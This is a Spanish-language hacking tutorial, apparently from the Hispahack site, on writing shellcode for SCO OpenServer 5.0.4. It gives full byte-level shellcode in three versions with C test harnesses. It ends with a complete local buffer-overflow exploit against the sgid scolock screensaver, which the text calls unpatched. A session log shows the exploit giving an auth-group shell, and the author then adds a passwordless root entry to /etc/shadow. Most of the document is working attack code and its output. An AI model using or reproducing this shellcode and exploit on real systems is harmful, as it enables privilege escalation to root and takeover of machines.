Programando un shellcode en SCO
Por Renegade Master
Introducción:

La primera vez que me enfrente a la programacion de un exploit basado en un buffer overflow, fue en linux y simplemente me limite a elegir un shellcode que alguien ya habia hecho entre los muchos disponibles y pegarlo en mi codigo. 

Sin embargo cuando intente hacer lo mismo en SCO me di cuenta de que practicamente no habia shellcodes para SCO, solo puede encontrar 2 shellcodes aceptables (Aunque muy poco depurados) sobre los que se basaban  el resto. 

Por eso decidi ponerme a programar mi propio shellcode partiendo de cero intentando que fuese mas eficiente y compacto que los existentes. Este es el resultado...
 

Gdb

Primero veamos como funciona una maquina SCO a la hora de ejecutar un comando. (En este caso /bin/sh) 

**NOTA** Todos los ejemplos estan sacados de una maquina SCO OpenServer 5.0.4 con lo cual algunos de ellos no funcionaran bien en otro tipo de unix de SCO (Como el unixware) aunque he intentado ser lo mas "portable" posible. 

Creamos en C un pequeño programa que simplmente ejecute '/bin/sh'. 

-execve.c-----------------------------------------------------------------
main() {

execve("/bin/sh",0,0);

}
--------------------------------------------------------------------------

scosysv:~$ ./execve
$

Funciona. 

Compilamos y le pasamos el debugger (En este caso el gdb) para ver su equivalente en ensamblador: 

scosysv:~# gdb
GDB is free software and you are welcome to distribute copies of it  under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15.1 (i486-sco3.2v5.0), Copyright 1995 Free Software Foundation, Inc.
(gdb) file execve
Reading symbols from execve...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x15c <main>:   jmp    0x171 <main+21>
0x15e <main+2>: pushl  $0x0
0x160 <main+4>: pushl  $0x0
0x162 <main+6>: pushl  $0x400878
0x167 <main+11>:        call   0x2fc <_execve>
0x16c <main+16>:        addl   $0xc,%esp
0x16f <main+19>:        leave
0x170 <main+20>:        ret
0x171 <main+21>:        pushl  %ebp
0x172 <main+22>:        movl   %esp,%ebp
0x174 <main+24>:        jmp    0x15e <main+2>
0x176 <main+26>:        nop
0x177 <main+27>:        nop
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function _execve:
0x2fc <_execve>:        movl   $0x3b,%eax
0x301 <_execve+5>:      lcall  0x7,0x0
0x308 <_execve+12>:     jmp    0x7f8 <_cerror>
0x30d <_execve+17>:     nop
0x30e <_execve+18>:     nop
0x30f <_execve+19>:     nop
End of assembler dump.

Una vez visto esto obtenemos un pequeño esquema en ensamblador. 

main:
        pushl 0x0
        pushl 0x0
        pushl direccion_de_/bin/sh
        call execve
execve:
        movl $0x3b,%eax
        lcall 0x7,0x0

Como podeis ver es algo mas simple que en otros sistemas como linux, apenas 6 lineas en ensamblador. 

Todavia es un esquema muy burdo y necesita ser pulido, pero sera el esqueleto de nuestro shellcode.
 

Shellcode 1:

Tenemos ya un pequeño esquema en ensamblador de lo que debemos hacer, asi que empezamos por un shellcode muy simple, sin ningun tipo de depurado, nos servira como base para desarrollar otros mas avamzados. 

Partimos del esquema anterior: 

main:
        pushl 0x0
        pushl 0x0
        pushl direccion_de_/bin/sh
        call execve
execve:
        movl $0x3b,%eax
        lcall 0x7,0x0

Necesitamos añadirle algo de codigo:
(1) Necesitamos poner la cadena /bin/sh en memoria
(2) Necesitamos una rutina para saber donde se encunetra esa cadena 

El codigo que obtenemos es: 

"\xeb\x12" // start: jmp uno (2)
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi (3)
"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0
"\xe8\xe9\xff\xff\xff" // uno: call dos
"/bin/sh\x00"; // (1)

(1) Ponemos la cadena /bin/sh al final del codigo. 

(2) Realizamos una llamada delante de la cadena /bin/sh [call dos] de esta  forma la direccion de la cadena queda almacenada en la pila (Al realizar la  llamada el registro %eip se mete en la pila) la sacamos y la ponemos en %esi.
[popl %esi] 

El registo %eip es el puntero de instrucciones y el valor que toma en la llamada es exactamente la direccion de la cadena /bin/sh. 

(3) Los tres primeros pushl son los correspondientes a la llamada execve. Metemos un cuarto valor en la pila [pushl %esi] para que la cosa funcione. 

Creamos un pequeño simulador en C para comprobar que el codigo funciona
bien. 

-shell30.c----------------------------------------------------------------
char hell[]=
"\xeb\x12" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0
"\xe8\xe9\xff\xff\xff" // uno: call dos
"/bin/sh\x00";
 
void main() {
int *ret;

printf("%i\n",strlen(hell));

ret = (int *)&ret + 2;
(*ret) = (int)hell;
}
--------------------------------------------------------------------------

scosysv~$ shell30
14
$

Funciona.
 

Shellcode 2:
 

El shellcode anterior no es util en la practica, ya que contiene caracterers nulos \x00 que nos daran muchos problemas si queremos usarlos para explotar un overflow. 

El caracter nulo se considera final de cadena, con lo cual nomalmente si intentamos usar un shellcode con caracteres nulos en un exploit, se cortara al ser manipulado por el programa a explotar. 

Este segundo shellcode corrige este defecto, eliminando todos los caracteres nulos mediante una pequeña rutina de automodificacion del codigo. 

"\xeb\x16" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)    -> Estas tres lineas se encargan de
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)     poner a cero los bytes que antes
"\x88\x5e\x11" // movb %bl,0x11(%esi)      tenian el valor \x00 (Ahora \xaa)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe5\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0

El codigo todavia es optimizable, se podrian ahorrar 3 o 4 bytes de tamaño, pero la mejora seria poco apreciable. 

Cambiamos la llamada a execve [lcall 0x7,0x0] al final del codigo para hacer mas sencilla su manipulacion. 

Usamos de nuevo el simulador para comprobar que funciona: 

-shell15.c----------------------------------------------------------------
char hell[]=
"\xeb\x16" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe5\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0

void main() {
int *ret;

printf("%i\n",strlen(hell));

ret = (int *)&ret + 2;
(*ret) = (int)hell;
}
--------------------------------------------------------------------------

scosysv~$ shell15
47
$

Funciona.
 

Shellcode 3:

Vamos a añadirle un complicacion mas, ahora queremos que el shellcode ejecute no solo un shell (/bin/sh) sino que ejecute una orden completa y que ademas nos deje modificar este comando sin necesidad de recompilar todo el shellcode. 

Esto se complica ya que para reducir el tamaño del primer shellcode habiamos usado un pequeño truco: 

La llamada execve trabaja de la siguiente forma: 

execve(direccion_del_comando,array_de_parametros,array_de_variables_de_entorno)

En ensamblador seria: 

push array_de_variables_de_entorno
push array_de_parametros
push direccion_del_comando
call execve

En el primer shellcode habiamos simplificado los 2 arrays poniendo en su lugar un puntero nulo: 

push 0
push 0
push direccion_de_la_cadena_/bin/sh
call execve

Ahora ya no podemos definir un puntero nulo como array de parametros, y debemos crear un array para ello. 

El array debe contener el nombre del comando (argv[0]) y los restantes argumentos. 

Para reducir el numero de elementos del array usaremos la opcion '-c' del shell. 

/bin/sh    -c    "comando"
argv[0]  argv[1]  argv[2]

Quedando el array asi:
argv[0] -> direccion de la cadena /bin/sh
argv[1] -> direccion de la cadena -c
argv[2] -> direccion de la cadena que contiene el comando
0 -> puntero nulo 

En total 16 bytes. 

Y en ensamblador: 

push 0
push direccion_del_array
push argv[0] -> direccion de la cadena /bin/sh
call execve

Ahora veamos el shellcode resultante de aplicar estos cambio a nuestro shellcode. 

"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xeb\x30" // jmp uno
"\x5e" // dos: popl %esi
"\x8d\x7e\x10" // leal 16(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x89\x3e" // movl %edi,(%esi)
"\x8d\x7e\x18" // leal 24(%esi),%edi -> Rutina de creacion del array
"\x89\x7e\x04" // movl %edi,4(%esi)
"\x8d\x7e\x1b" // leal 27(%esi),%edi
"\x89\x7e\x08" // movl %edi,8(%esi)
"\x89\x5e\x0c" // movl %ebx,12(%esi)
"\x89\x5e\xf5" // movl %ebx,-11(%esi) -> Rutina de anulacion de los \xaa
"\x88\x5e\xfa" // movb %bl,-6(%esi)
"\x88\x5e\x17" // movb %bl,23(%esi)
"\x88\x5e\x1a" // movb %bl,26(%esi)
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\xb0\x3b" // movb 0x3b, %al
"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0
"\xe8\xcb\xff\xff\xff" // uno: call dos
"AAAA" // +0 -> Este es el array
"AAAA" // +4
"AAAA" // +8
"AAAA" // +12
"/bin/shA" // (1) +16 0x10(%esi) -> primera cadena
"-cA" // (2) +24 0x18(%esi) -> segunda cadena
""; // (3) +27 0x1b(%esi) -> Reservamos este espacio para poner la cadena del comando a ejecutar.

Añadimos una rutina que crea un array de 16 bytes y pone en el las direcciones de las 3 cadenas de texto implicadas, y un puntero nulo como cuarto elemeto del array para indicar el final del array. 

El numero de lineas de codigo para sustituir los caracteres \xaa por \x00 es mayor. 

Ahora el simulador es algo mas complejo: 

-shell33.c-----------------------------------------------------------------
char hell[]=
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xeb\x30" // jmp uno
"\x5e" // dos: popl %esi
"\x8d\x7e\x10" // leal 16(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x89\x3e" // movl %edi,(%esi)
"\x8d\x7e\x18" // leal 24(%esi),%edi
"\x89\x7e\x04" // movl %edi,4(%esi)
"\x8d\x7e\x1b" // leal 27(%esi),%edi
"\x89\x7e\x08" // movl %edi,8(%esi)
"\x89\x5e\x0c" // movl %ebx,12(%esi)
"\x89\x5e\xf5" // movl %ebx,-11(%esi)
"\x88\x5e\xfa" // movb %bl,-6(%esi)
"\x88\x5e\x17" // movb %bl,23(%esi)
"\x88\x5e\x1a" // movb %bl,26(%esi)
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\xb0\x3b" // movb 0x3b, %al
"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0
"\xe8\xcb\xff\xff\xff" // uno: call dos
"AAAA" // +0
"AAAA" // +4
"AAAA" // +8
"AAAA" // +12
"/bin/shA" // (1) +16 0x10(%esi)
"-cA" // (2) +24 0x18(%esi)
""; // (3) +27 0x1b(%esi)

char buf[300];

void main(int argc, char **argv) {
int *ret;
char cmd[200];
char test[]="/usr/bin/id";
char end[]=";\x00";

printf("%i\n",strlen(hell));

if(argc < 2) {
        memcpy(cmd,test,strlen(test));
        memcpy(buf,hell,strlen(hell));
        memcpy(buf+strlen(hell),cmd,strlen(cmd));
        memcpy(buf+strlen(hell)+strlen(cmd),end,strlen(end));
} else {
        if(argc == 2) {
                strncpy(cmd,argv[1],strlen(argv[1]));
                memcpy(buf,hell,strlen(hell));
                m       emcpy(buf+strlen(hell),cmd,strlen(argv[1]));
                memcpy(buf+strlen(hell)+strlen(argv[1]),end,strlen(end));
        } else {
                printf("Uso: shell33 \"comando\"\n");
                exit(0); }
        }

ret = (int *)&ret + 2;
(*ret) = (int)buf;

}
--------------------------------------------------------------------------

La novedad es que se encarga de añadir al final del shellcode la cadena del comando a ejecutar. 

scosysv~$ shell33 "/usr/bin/id"
86
uid=200(guest) gid=50(group) groups=50(group)

scosysv~$ shell33 "echo hola"
86
hola

Funciona.
 

Exploit 1:

Una vez tenemos el shellcode funcionando de forma teorica, tenemos que probar si funciona realmente a la hora de la verdad, dentro de un exploit. 

El bug que vamos a explotar es un overflow en un parametro del programa scolock (/usr/bin/X11/scolock) un protector de pantallas suideado como grupo 'auth'. -> sgid(auth) 

$ ls -al /opt/K/SCO/BaseX/5.1.2b/usr/bin/X11/scolock
-rwxr-sr-x   1 root     auth      155956 May 25 22:50 scolock

Este grupo tiene acceso de lectura/escritura al fichero /etc/shadow con lo cual conseguir root a partir de este exploit es cuestion de segundos. 

$ ls -al /etc/shadow
-rw-rw----   1 root     auth         323 Jun 14 23:09 /etc/shadow

Este programa tiene varios overflows explotables, pero vamos a centrarnos en el que se produce en el parametro '-bg' 

El exploit que aparece a continucacion es inedito, y no existe parche para el bug: (Dios mio! que alguien envie esto a la bugtraq! ;) 

-scolockx.c---------------------------------------------------------------
/*
 * <scolockx.c> Local exploit - Gives you an auth group suid shell
 *
 * h0h0h0!! auth group has read/write access to /etc/shadow (w3 4r3 r00t!)
 *
 * $ ls -al /etc/shadow
 * -rw-rw----   1 root     auth         323 Jun 14 23:09 /etc/shadow
 *
 * Offset: scolockx (SCO OpenServer 5.0.4)
 * 0 -> with -display parameter
 *
 * Usage:
 * $ cc scolockx.c -o scolockx
 * $ /usr/bin/X11/scolock -display 1.1.1.1:0 -bg `scolockx 0`
 *
 * Note: scolock need to be run from a valid x-display
 *
 * By: The Renegade Master
 *
 */
 

#include <stdlib.h>
#include <stdio.h>

char hell[]=
"\xeb\x16" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x53" // pushl %ebx
"\x53" // pushl %ebx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe5\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
 

#define OFF 0x8047a98   // SCO OpenServer 5.0.4
#define ALINEA 0
#define LEN 2000
 

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
        printf("Usage: scolockx <offset>\n");
        exit(0); }
else {
        offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i<LEN-4;i+=4)
        *(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
        putchar(buf[i]);

exit(0);
}
--------------------------------------------------------------------------
 

scosysv:~$ /usr/bin/X11/scolock -display 127.0.0.1:0.0 -bg `./scolockx 0`
Warning: Color name "ë^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªª
ªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;S
SVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 

zzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿ 

Warning: some arguments in previous message were lost
$ id
uid=200(guest) gid=50(group) egid=21(auth) groups=50(group)
$ echo "draver::0:0:r00t:/:/bin/sh" >> /etc/shadow 

Como veis el exploit no podria ser mas simple, la parte mas delicada es el shellcode, de ahi la importancia de conseguir un buen shellcode, compacto y estable. 

Otros puntos importantes a tener en cuenta son que el buffer desbordado tiene unos 1800 caracteres de tamaño, que el alineamiento es correcto y que la direccion de retorno es aproximadamente 0x8047a98. Con estos datos y el
shellcode programar el exploit fue trivial. 

Conclusión:

El primer paso que debemos dar en cualquier tipo de plataforma para programar nuestros propios exploits es conseguir un buen shellcode, bien usando uno existente, modificandolo o creando uno propio. 

Sin embargo siempre conseguiremos un mayor control del exploit cuando el shellcode sea nuestro... 

Saludos
 

Renegade Master

 
 
 (C) 1997-2001 by !Hispahack 
                Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator